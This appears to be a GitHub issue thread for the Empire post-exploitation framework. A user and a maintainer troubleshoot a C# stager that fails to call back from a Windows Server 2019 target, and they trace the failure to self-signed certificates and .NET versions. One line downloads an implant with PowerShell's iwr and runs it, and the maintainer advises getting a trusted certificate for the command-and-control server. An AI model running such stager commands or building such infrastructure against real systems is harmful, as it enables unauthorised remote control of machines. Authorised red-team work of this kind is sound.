Open captain-woof opened 3 years ago
@captain-woof can you please expand more on the problem? I just tested with a clean install of Empire and am unable to reproduce
What is the target box you are trying to run on? How are you launching the implant? Which version of Kali are you on? Can you provide any screen shots of the error?
@Hubbl3
Target box's systeminfo
Hostname: REDACTED
Domain Name: REDACTED.local
ProductName: Windows Server 2019 Standard
EditionID: ServerStandard
ReleaseId: 1809
BuildBranch: rs5_release
CurrentMajorVersionNumber: 10
CurrentVersion: 6.3
Architecture: AMD64
ProcessorCount: 4
SystemLang: en-US
IsVirtualMachine: True
HighIntegrity: False
PartOfDomain: True
Hotfixes:
Launching the implant
iwr -uri URL -outfile stager.exe; ./stager.exe
Version of Kali
Kali 2021.2 (5.10.0-kali9-amd64)
Demo
@captain-woof The only time I am able to reproduce the issue is when I attempt to use https with a self signed cert. Turns otu the .webrequest
call will automatically reject self-signed certs. I am working testing that. Normal http traffic returns fine. Are you able to get a powershell agent to connect?
The only other issue I can think of, is have you checked to make sure that you compiled against the proper .NET version for the target box. Can you check which versions are installed? You can use this script:
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version,Release -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select PSChildName, Version, Release
thank you for providing the video it was very useful
@Hubbl3 Well, I was using self signed cert, so that may have been the issue. Also, I did check the correct .NET Framework version before compiling, so yes, that part has no problem.
If self signed certs are rejected, is there a work around?
@captain-woof so there are suggestions for work arounds like this:
but I haven't been able to get it to work for some reason.
Depending upon you need you can use an AWS or Azure hosted VPS with certbot to get a legitimate signed cert for free. Let's Encrypt has blacklisted AWS domains from receiving a cert so you need another domain on top. There are some sites like:
to get a free domain so you don't need to purchase one. I have verified that the C# agent does work when utilizing a Let's Encrypt cert
@Hubbl3 Thanks for the suggestion :) 👍
Note: Please fill out all sections (if applicable) and do not delete the below section headers, otherwise the bot will close the issue.
Empire Version
OS Information (Linux flavor, Python version)
Describe the bug
Executing a csharp stager on a target machine throws off this error:
To Reproduce
Steps to reproduce the behavior:
Expected behavior
Execution of the stager.
Screenshots
None
Additional context
None